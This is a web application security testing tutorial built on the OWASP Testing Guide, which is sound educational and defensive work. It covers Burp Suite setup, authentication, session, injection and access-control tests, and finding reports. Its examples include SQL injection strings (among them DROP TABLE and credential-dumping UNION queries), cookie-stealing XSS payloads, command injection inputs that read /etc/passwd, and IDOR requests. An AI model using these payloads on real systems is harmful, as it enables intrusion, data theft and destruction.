Web Application Testing Methodology

Web application security testing is the systematic process of evaluating a web application for vulnerabilities that could be exploited by attackers. Unlike automated scanning, manual web app testing involves understanding the application's logic, identifying how it handles user input, and probing each component for weaknesses that automated tools often miss.

A structured methodology ensures comprehensive coverage. Without one, testers tend to focus on familiar vulnerability types while overlooking entire attack surfaces. The most widely adopted framework is the OWASP Testing Guide, which provides a checklist-driven approach covering every category of web vulnerability.

A typical web application test follows these phases in order:

• Reconnaissance - Map the application's pages, endpoints, parameters, and technologies
• Proxy configuration - Set up an intercepting proxy to observe and manipulate traffic
• Authentication testing - Evaluate login mechanisms, password policies, and session management
• Input validation testing - Test every input point for injection flaws
• Authorization testing - Verify that access controls are enforced correctly
• Business logic testing - Probe for flaws in the application's intended workflow
• Reporting - Document findings with evidence, severity ratings, and remediation guidance

OWASP Testing Guide Overview

The OWASP Testing Guide is a comprehensive, freely available reference that defines how to test web applications for security issues. It organizes tests into categories that map closely to the OWASP Top 10, but goes far deeper. The current version (v4.2) contains over 90 individual test cases grouped into 12 categories.

• Information Gathering (OTG-INFO) - Fingerprinting web servers, frameworks, and application entry points
• Configuration Management (OTG-CONFIG) - Testing for default credentials, directory listings, backup files, and HTTP methods
• Identity Management (OTG-IDENT) - Evaluating user registration, account provisioning, and role definitions
• Authentication (OTG-AUTHN) - Testing login, password reset, remember-me, and multi-factor mechanisms
• Authorization (OTG-AUTHZ) - Checking path traversal, privilege escalation, and insecure direct object references
• Session Management (OTG-SESS) - Analyzing cookie attributes, session fixation, CSRF, and timeout behavior
• Input Validation (OTG-INPVAL) - Testing for XSS, SQL injection, command injection, LDAP injection, and more
• Error Handling (OTG-ERR) - Examining error messages and stack traces for information disclosure
• Cryptography (OTG-CRYPST) - Checking TLS configuration, weak ciphers, and sensitive data exposure
• Business Logic (OTG-BUSLOGIC) - Testing workflow bypass, data integrity, and upload functionality
• Client-Side (OTG-CLIENT) - Evaluating DOM-based XSS, JavaScript injection, and HTML5 security

Setting Up a Testing Proxy (Burp Suite)

An intercepting proxy sits between your browser and the target application, letting you inspect, modify, and replay every HTTP request and response. Burp Suite Community Edition is the industry-standard tool for this purpose and is free for manual testing.

Installing and Configuring Burp Suite

# Burp Suite comes pre-installed on Kali Linux
# Launch it from the menu or command line:
burpsuite

# If not installed, download from:
# https://portswigger.net/burp/communitydownload

# Default proxy listener runs on 127.0.0.1:8080

After launching Burp Suite, configure your browser to route traffic through the proxy. The recommended approach is to use a dedicated browser profile with the FoxyProxy extension.

Browser Proxy Configuration

• Install FoxyProxy - Add the FoxyProxy Standard extension to Firefox
• Create a Burp profile - Add a proxy with host 127.0.0.1 and port 8080
• Install Burp's CA certificate - Browse to http://burpsuite with the proxy active and download the CA certificate, then import it into your browser's certificate store under Authorities
• Enable the proxy - Toggle FoxyProxy to use the Burp profile when testing, and switch back to direct connection when done

# Verify the proxy is working by making a request
# With proxy enabled, browse to the target application
# You should see requests appearing in Burp's Proxy > HTTP history tab

# To intercept HTTPS traffic, you must install Burp's CA cert:
# 1. With proxy active, visit http://burpsuite in your browser
# 2. Click "CA Certificate" to download cacert.der
# 3. Firefox: Settings > Privacy & Security > Certificates > Import
# 4. Check "Trust this CA to identify websites" and confirm

Intercepting and Modifying Traffic

With the proxy configured, you can now observe all traffic between your browser and the target application. The real power comes from modifying requests before they reach the server, allowing you to test how the application responds to unexpected input.

Key Burp Suite Features for Testing

• Proxy > Intercept - Pause requests in transit so you can modify parameters, headers, or the body before forwarding them to the server
• Proxy > HTTP History - Browse the complete log of all proxied requests and responses, filter by host or content type
• Repeater - Send any captured request to the Repeater tab to modify and resend it multiple times, comparing responses side by side
• Decoder - Encode and decode data in URL encoding, Base64, HTML entities, and other formats
• Comparer - Diff two responses to spot differences when testing for access control or parameter manipulation

# Example: Testing a login form by modifying the POST request
# Original request captured in Burp:
POST /api/login HTTP/1.1
Host: target.example.com
Content-Type: application/json

{"username":"testuser","password":"testpass123"}

# Modify in Repeater to test for SQL injection:
{"username":"admin' OR '1'='1","password":"anything"}

# Modify to test for authentication bypass:
{"username":"admin","password":"","role":"admin"}

# Check the response for:
# - Different HTTP status codes (200 vs 401 vs 500)
# - Error messages revealing database structure
# - Successful authentication with manipulated input

Testing Authentication and Sessions

Authentication and session management are among the most critical areas to test. Weaknesses here often lead to complete account takeover. Test every aspect of the login lifecycle from registration through password reset to session termination.

Authentication Tests

• Credential transport - Verify that login forms submit over HTTPS and that credentials are never sent in URL parameters or exposed in logs
• Brute force protection - Test if the application locks accounts or throttles login attempts after repeated failures
• Default credentials - Check for common default username/password combinations (admin/admin, admin/password)
• Password policy - Evaluate minimum length, complexity requirements, and whether common passwords are blocked
• Password reset - Test the reset flow for token predictability, token expiry, and whether the link can be reused
• Multi-factor bypass - If MFA is present, check if it can be skipped by directly navigating to authenticated pages

Session Management Tests

# Examine session cookies in Burp's HTTP history or browser dev tools
# Check for proper security attributes:

Set-Cookie: session=abc123def456; Path=/; HttpOnly; Secure; SameSite=Strict

# What to verify:
# HttpOnly flag  - Prevents JavaScript from reading the cookie (mitigates XSS)
# Secure flag    - Cookie only sent over HTTPS (prevents sniffing)
# SameSite       - Controls cross-origin cookie behavior (mitigates CSRF)
# Expiration     - Session should timeout after reasonable inactivity period

# Test session fixation:
# 1. Note the session token before logging in
# 2. Log in and check if the token changes
# 3. If it stays the same, the app is vulnerable to session fixation

# Test session invalidation:
# 1. Log in and note the session token
# 2. Log out
# 3. Replay a request using the old session token
# 4. If the request succeeds, sessions are not properly invalidated

Testing Input Handling (Injection Flaws)

Injection vulnerabilities remain the most dangerous class of web application flaws. They occur when the application incorporates user-supplied data into commands or queries without proper validation or encoding. Every input point in the application must be tested, including URL parameters, form fields, HTTP headers, cookies, and file uploads.

SQL Injection Testing

# Basic SQL injection test payloads
# Insert these into any input field or URL parameter:

' OR '1'='1
' OR '1'='1' --
' UNION SELECT NULL, NULL, NULL --
1; DROP TABLE users --
' AND 1=CONVERT(int, @@version) --

# Time-based blind SQL injection:
'; WAITFOR DELAY '0:0:5' --
' OR SLEEP(5) --

# If the response is delayed by 5 seconds, the injection point is confirmed

# Example: Testing a search parameter
# Original URL: https://target.example.com/search?q=laptop
# Test URL:     https://target.example.com/search?q=laptop' OR '1'='1

Cross-Site Scripting (XSS) Testing

# Reflected XSS test payloads:
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg/onload=alert('XSS')>
"><script>alert(document.cookie)</script>

# If the payload renders and executes in the browser, the input is not sanitized

# Stored XSS: Submit payloads through forms that save data
# (comments, profile fields, messages) and check if they execute
# when another user views the stored content

# DOM-based XSS: Check if JavaScript reads from URL fragments
# or other client-side sources without encoding
# Example: https://target.example.com/page#<script>alert(1)</script>

Command Injection Testing

# If the application executes system commands with user input:
; ls -la
| cat /etc/passwd
$(whoami)
`id`

# Example: A "ping" feature on the application
# Input: 127.0.0.1; cat /etc/passwd
# If the server returns the contents of /etc/passwd, command injection is confirmed

Testing Authorization and Access Controls

Authorization testing verifies that users can only access the resources and functions they are permitted to use. Broken access controls are consistently ranked in the OWASP Top 10 because they are common, high-impact, and often missed by automated scanners. These tests require understanding the application's role model and manually probing boundaries.

Horizontal Privilege Escalation

Horizontal escalation occurs when a user accesses another user's data at the same privilege level. This is typically caused by insecure direct object references (IDOR).

# Test for IDOR by manipulating resource identifiers
# Original request (your profile):
GET /api/users/1042/profile HTTP/1.1
Authorization: Bearer your-session-token

# Modified request (another user's profile):
GET /api/users/1043/profile HTTP/1.1
Authorization: Bearer your-session-token

# If you can see user 1043's data with your token, IDOR is confirmed

# Also test with:
# - Sequential IDs (1042, 1043, 1044...)
# - UUIDs (try known or guessed values)
# - Filenames (/documents/report-1042.pdf vs /documents/report-1043.pdf)
# - API endpoints that accept user identifiers as parameters

Vertical Privilege Escalation

Vertical escalation occurs when a regular user accesses admin-level functions. Test this by identifying admin endpoints and attempting to reach them with a low-privilege session.

# Discover admin endpoints through:
# - robots.txt and sitemap.xml
# - JavaScript files referencing /admin/ or /api/admin/
# - HTML comments containing hidden links
# - Forced browsing with wordlists

# Test access control enforcement:
# 1. Log in as a regular user and note your session token
# 2. Try accessing admin endpoints with your regular token:
GET /admin/dashboard HTTP/1.1
Cookie: session=regular-user-token

# 3. Try modifying role parameters in your requests:
POST /api/update-profile HTTP/1.1
{"name":"Test User","role":"admin"}

# 4. Check if the server validates the role on the backend or trusts the client

• Method-based bypass - If GET is blocked, try POST, PUT, or PATCH on the same endpoint
• Path traversal - Try /admin/../admin/dashboard or /ADMIN/dashboard to bypass path-based filters
• Header manipulation - Add headers like X-Original-URL: /admin/dashboard that some frameworks use for routing
• Parameter pollution - Submit role=user&role=admin to see which value the server uses

Reporting Findings

A well-structured report transforms raw findings into actionable remediation guidance. The report is the primary deliverable of any security assessment and often determines whether vulnerabilities actually get fixed. Technical accuracy matters, but so does clear communication.

Per-Finding Report Structure

Each vulnerability should be documented with enough detail that a developer can reproduce and fix the issue without needing to contact the tester.

• Title - A clear, specific name (e.g., "Stored XSS in User Profile Bio Field")
• Severity - Use a recognized scale such as CVSS v3.1 with both the score and vector string
• Affected URL/endpoint - The exact location where the vulnerability exists
• Description - What the vulnerability is and why it matters in the context of this application
• Steps to reproduce - Numbered steps that anyone can follow to confirm the issue, including exact payloads, headers, and expected responses
• Evidence - Screenshots, request/response pairs from Burp Suite, or relevant code snippets
• Impact - What an attacker could achieve by exploiting this vulnerability (data theft, account takeover, etc.)
• Remediation - Specific, actionable fix recommendations with code examples where possible
• References - Links to relevant CWE entries, OWASP pages, or vendor advisories

# Example finding entry:

Title: SQL Injection in Product Search Parameter
Severity: Critical (CVSS 9.8 - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Affected: GET /api/products?search=[payload]

Description:
The search parameter on the product listing API is vulnerable to SQL
injection. User input is concatenated directly into the SQL query without
parameterization, allowing an attacker to extract, modify, or delete
database contents.

Steps to Reproduce:
1. Navigate to https://target.example.com/products
2. Enter the following in the search field: ' UNION SELECT username,password FROM users --
3. Observe that user credentials are returned in the product listing

Impact:
An unauthenticated attacker can extract all data from the database,
including user credentials, personal information, and payment records.

Remediation:
Use parameterized queries (prepared statements) for all database
interactions. For example, replace:
  query = "SELECT * FROM products WHERE name LIKE '%" + input + "%'"
With:
  query = "SELECT * FROM products WHERE name LIKE ?"
  params = ["%" + input + "%"]

Summary

In this tutorial, you learned:

• The structured methodology for testing web applications, following OWASP guidelines
• How to set up and configure Burp Suite as an intercepting proxy
• Techniques for intercepting, modifying, and replaying HTTP requests to probe application behavior
• How to test authentication mechanisms, session management, and password reset flows
• Methods for detecting SQL injection, cross-site scripting, and command injection vulnerabilities
• How to test authorization and access controls for both horizontal and vertical privilege escalation
• How to structure professional vulnerability reports with actionable remediation guidance